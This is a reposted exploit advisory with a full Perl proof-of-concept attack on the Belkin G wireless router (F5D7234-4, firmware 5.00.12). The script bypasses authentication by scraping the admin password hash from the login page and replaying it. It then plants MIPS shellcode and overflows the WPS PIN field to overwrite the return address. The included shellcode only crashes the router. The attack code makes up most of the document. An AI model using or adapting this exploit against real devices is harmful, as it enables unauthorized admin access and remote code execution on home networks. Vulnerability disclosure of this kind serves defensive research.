Belkin G Wireless Router Firmware 5.00.12

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Belkin G Wireless Router Firmware 5.00.12 - RCE PoC

来源：atul.alex@orchidseven.com 作者：发布时间：2013-08-27

| Belkin G Wireless Router RCE PoC. |
+-----------------------------------+

Firmware Version : 5.00.12 (Sep 10 2009 19:54:12)
Boot Version     : 1.18
Hardware         : F5D7234-4 v5 (01)
Author           : Aodrulez.
Email            : atul.alex@orchidseven.com
Twitter          : http://twitter.com/Aodrulez

+---------+
| Details |
+---------+

The exploit works in 3 stages.
1. Authentication.
2. Setting up shellcode in the memory at a known location.
3. Triggering an RA register over-write to execute the shellcode.

This particular model of router is based on 'embedded Configurable operating system' a.k.a (eCos) version 2.0. The shellcode used in the exploit is a dummy one that basically just triggers an exception & crashes the router, forcing it to reboot.

Video Demo :
http://www.youtube.com/watch?v=MtrYs-f6X3E

+---------+
| Exploit |
+---------+

#!/usr/bin/perl

use strict;
use warnings;
use LWP 5.64;
$| = 1;

# Variable declarations.
my $browser = LWP::UserAgent->new;
my $passHash="";
my $url ="";
my $response ="";
my $ip="";
$browser ->timeout(10);

# Just a few nops followed by a dummy shellcode that crashes & reboots the router.
my $shellcode="\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x04\xd0\xff\xff\x20\x20\x20\x20";

sub Authenticate()
{
print "[+] Trying to authenticate.\n";
$url= "http://$ip/login.stm";
$response = $browser->get( $url);
my @aod= $response->content =~ m/var password = "(.*)";/g;
if(!$aod[0])
{
print "[-] Damn! Something went wrong. This might not work here :-/\n";
exit;
}
else
{
$passHash=$aod[0];
print "[+] Admin Password = $passHash (MD5 Hash).\n";
}

print "[+] Time to authenticate you!\n";
$url = "http://$ip/cgi-bin/login.exe";
$response = $browser->post( $url,
    [ 'totalMSec' => "1377121454.99",
      'pws' => "$passHash",
    ,]
);

if( $response->content =~ /index/ )
{
    print "[+] Logged in successfully as 'Admin'!\n";
    print "[!] Open this link in a browser for admin access : http://$ip/setup.htm \n";
} else {
    print "[-] Login failed! This might not work here :-/\n";
    exit;
}

print "\n[+] Continue with exploitation? (Y/N) : ";
my $temp=<STDIN>;
if ($temp=~"Y" || $temp=~"y")
{
    Exploit();
}
else
{
    print "[+] Have fun!\n\n";
    exit;
}
}

sub Exploit()
{
# Stage 1: Fill shellcode at a known location : 0x803c0278 (Buffer=120 bytes)
# 0x803c0278 is fixed for this device/firmware combination.
print "[+] Stage 1 : Allocating shellcode.\n";

if (length($shellcode) > 120)
{
   print "[-] Shellcode is too big! (120 bytes Max)\n";
   exit;
}
print "[+] Shellcode length : ".length($shellcode)."\n";

# Fill the rest with nops. Not needed but good to have.
# Shellcode size should be ideally a multiple of 4 as this is MIPS.
my $nopsize=120-length($shellcode);
$shellcode=$shellcode.("\x20"x$nopsize);

$url = "http://$ip/cgi-bin/wireless_WPA.exe";
$response = $browser->post( $url,
    [ 'wpa_authen' => "1",
      'wpa_psk' => '0',
      's_rekeysec' => '900000',
      's_rekeypkt' => '1000',
      'w802_rekey' => '0',
      'encryption' => '3',
      'security_type' => '4',
      'authentication' => '3',
      'encryption_hid' => '3',
      'wpa_key_text' => "ssss",
      'wpa_key_pass' => "$shellcode",
      'obscure_psk' => '1',
      'sharedkey_alter' => '',
      'sharedkey_alter1' => '1',

    ,]
);

if( !$response->content )
{
     print "[-] Damn! Something went wrong. This might not work here :-/\n";
}
else
{
    print "[+] Stage 1 seems to have gone well.\n";
}

# Stage 2: Trigger Stack Overflow & overwrite RA
print "[+] Stage 2 : Triggering Return Address overwrite.\n";

my $junk="A"x32;
my $s0="BBBB";
my $s1="CCCC";
my $ra="\x78\x02\x3c\x80"; #EPC   -> 0x803c0278 Fixed for this device/firmware combination.
my $nop="\x20\x20\x20\x20";
my $payload=$junk.$s0.$s1.$ra.$nop;

$url = "http://$ip/cgi-bin/wireless_WPS_Enroll.exe";
$response = $browser->post( $url,[ 'pin' => "$payload"]);
if( !$response->content )
{
    print "[-] Damn! Something went wrong. This might not work here :-/\n";
}
else
{
    print "[-] Done! \\m/\n";
}

}

sub Welcome()
{
print "\n\n+------------------------------------------+\n";
print "| Belkin G Wireless Router Remote Exploit |\n";
print "|     (Authentication bypass & RCE PoC)    |\n";
print "+------------------------------------------+\n";
print "[+] By Aodrulez.\n";
print "\n[+] Usage   : perl $0 router_ip";
print "\n[!] Example : perl $0 192.168.2.1";

if (!$ARGV[0])
{
    print "\n[-] (o_0) Seriously??\n";
    exit;
}

$ip=$ARGV[0];
print "\n[+] Target IP : $ip\n";

}

# Burn!!
Welcome();
Authenticate();
# End of exploit code.

+-------------------+
| Greetz Fly Out To |
+-------------------+


1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.nsd.org.in


+-------+
| Quote |
+-------+

“I would rather die of passion than of boredom.” - Vincent van Gogh.

[